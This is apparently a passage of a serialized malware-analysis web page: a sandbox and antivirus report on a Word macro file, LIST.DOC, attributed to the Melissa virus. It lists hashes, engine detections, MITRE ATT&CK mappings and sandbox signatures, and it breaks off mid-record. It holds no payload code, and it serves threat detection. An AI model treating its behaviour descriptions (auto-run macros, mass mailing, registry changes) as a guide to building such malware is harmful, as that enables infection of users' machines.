scgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790822083803,"unified_at":"2026-10-01T02:34:43.803Z","metadata":{"hashes":{"sha256":"554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca","sha1":"45588547dc335d87ea5768512b9f3fc72ffd84a3","md5":"4b68fdec8e89b3983ceb5190a2924003","sha512":"b2205ad850301f179a078219c6ce29da82f8259f4ec05d980c210718551de916df52c314cb3963f3dd99dcfb9de188bd1c7c9ee310662ece426706493500036f","ssdeep":"384:gfLAmQKcIc719x1XG4rFmWfFlmipS/pwlyIuD9AR49lz02gzIK1Q0jZMuapZtRPl:e1g19/X5fUpMyI4ACIv1nacWPiE","ssdeep_chunks":["384:gfLAmQK","384:fLAmQKc","384:LAmQKcI","384:AmQKcIc","384:mQKcIc7","384:QKcIc71","384:KcIc719","384:cIc719x","384:Ic719x1","384:c719x1X","384:719x1XG","384:19x1XG4","384:9x1XG4r","384:x1XG4rF","384:1XG4rFm","384:XG4rFmW","384:G4rFmWf","384:4rFmWfF","384:rFmWfFl","384:FmWfFlm","384:mWfFlmi","384:WfFlmip","384:fFlmipS","384:FlmipS/","384:lmipS/p","384:mipS/pw","384:ipS/pwl","384:pS/pwly","384:S/pwlyI","384:/pwlyIu","384:pwlyIuD","384:wlyIuD9","384:lyIuD9A","384:yIuD9AR","384:IuD9AR4","384:uD9AR49","384:D9AR49l","384:9AR49lz","384:AR49lz0","384:R49lz02","384:49lz02g","384:9lz02gz","384:lz02gzI","384:z02gzIK","384:02gzIK1","384:2gzIK1Q","384:gzIK1Q0","384:zIK1Q0j","384:IK1Q0jZ","384:K1Q0jZM","384:1Q0jZMu","384:Q0jZMua","384:0jZMuap","384:jZMuapZ","384:ZMuapZt","384:MuapZtR","384:uapZtRP","384:apZtRPl","768:gfLAmQK","768:fLAmQKc","768:LAmQKcI","768:AmQKcIc","768:mQKcIc7","768:QKcIc71","768:KcIc719","768:cIc719x","768:Ic719x1","768:c719x1X","768:719x1XG","768:19x1XG4","768:9x1XG4r","768:x1XG4rF","768:1XG4rFm","768:XG4rFmW","768:G4rFmWf","768:4rFmWfF","768:rFmWfFl","768:FmWfFlm","768:mWfFlmi","768:WfFlmip","768:fFlmipS","768:FlmipS/","768:lmipS/p","768:mipS/pw","768:ipS/pwl","768:pS/pwly","768:S/pwlyI","768:/pwlyIu","768:pwlyIuD","768:wlyIuD9","768:lyIuD9A","768:yIuD9AR","768:IuD9AR4","768:uD9AR49","768:D9AR49l","768:9AR49lz","768:AR49lz0","768:R49lz02","768:49lz02g","768:9lz02gz","768:lz02gzI","768:z02gzIK","768:02gzIK1","768:2gzIK1Q","768:gzIK1Q0","768:zIK1Q0j","768:IK1Q0jZ","768:K1Q0jZM","768:1Q0jZMu","768:Q0jZMua","768:0jZMuap","768:jZMuapZ","768:ZMuapZt","768:MuapZtR","768:uapZtRP","768:apZtRPl","384:e1g19/X","384:1g19/X5","384:g19/X5f","384:19/X5fU","384:9/X5fUp","384:/X5fUpM","384:X5fUpMy","384:5fUpMyI","384:fUpMyI4","384:UpMyI4A","384:pMyI4AC","384:MyI4ACI","384:yI4ACIv","384:I4ACIv1","384:4ACIv1n","384:ACIv1na","384:CIv1nac","384:Iv1nacW","384:v1nacWP","384:1nacWPi","384:nacWPiE"],"imphash":"Unknown"},"file_info":{"file_name":"LIST.DOC","file_type":["doc","office"],"file_type_id":"doc","file_size":40960,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1579118672000,"last_seen":1723914507000,"last_multi_scan":1723914507000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["assilem","binder","furio","groov","loveletter","marker","massmail","melissa","sasser","shiver","vburses","macros-on-close","macros-on-open","borde","joiner","killfiles","redirector"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":31},"sandbox_signatures":{"informative_count":56,"suspicious_count":9,"malicious_count":7,"total":72},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"W97M/Assilem.F","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Virus/MSWord.Melissa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W97M/Melissa.A.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Emeka.398","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Psycho-3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Virus.W97M.Melissa.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Emeka.398 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"W97M/Melissa.A virus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0058ca141 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Melissa.a@MM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Virus.Macro.Melissa.bine","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"WM97/Meliss-Fam","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W97M/Melissa.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"W97M/Melissa.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Virus.MSWord.Melissa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Virus.Melissa.MacroWord.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"W97M/Melissa.A","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with interesting strings"},{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"informative","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found a string that may be used as part of an injection method"},{"type":"informative","value":"Scans for the windows taskbar (may be used for explorer injection)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Removes Office resiliency keys (often used to avoid problems opening documents)"},{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"},{"type":"informative","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Intercepted relevant COM error"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Opens a handle to the specified process"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"informative","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains NTDLL native APIs"}],"sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found system commands related strings"}],"sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Uses bzip2 compression library to compress data"}],"sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"}],"sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"An application crash occurred","description":"\"WINWORD.EXE\" loaded module \"%WINDIR%\\System32\\Faultrep.dll\" at F3CE0000","origin":"Loaded Module","id":"module-1","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$25","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DFF85A05A2C3711BAD.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\VBE\\MSForms.exd\"\n \"OUTLOOK.EXE\" created file \"%TEMP%\\outlook logging\\firstrun.log\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\x64_10MU_ACB10_S-1-5-5-0-70172\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-70172\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\TC-Rebuild-Mutex-00000060-00080030\"\n \"Local\\4F75746C6F6F6B55A74B2BFD73304197DCC530AEB61B7D_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\_outlook_keepalive_\"\n \"Local\\4D4150494C6F676F6E0070B872C47FD7101B8BEA00AA0038C699_S-1-5-21-686412048-2446563785-1323799475-1001\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_LIST.DOC\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at E66D0000\n \"OUTLOOK.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at E66D0000","origin":"Loaded Module","mitre_attack_id":"T1179","id":"module-2","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"OUTLOOK.EXE\" (UID: 00065678-00002404) was launched with new environment variables: \"WecVersionForRosebud.A48=\"4\"\"\n Process \"OUTLOOK.EXE\" (UID: 00065678-00002404) was launched with modified environment variables: \"CommonProgramFiles, Path, PROCESSOR_ARCHITECTURE, ProgramFiles\"\n Process \"OUTLOOK.EXE\" (UID: 00065678-00002404) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"level":"informative","category":"General","name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"9-6\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"O.6\")","origin":"Registry 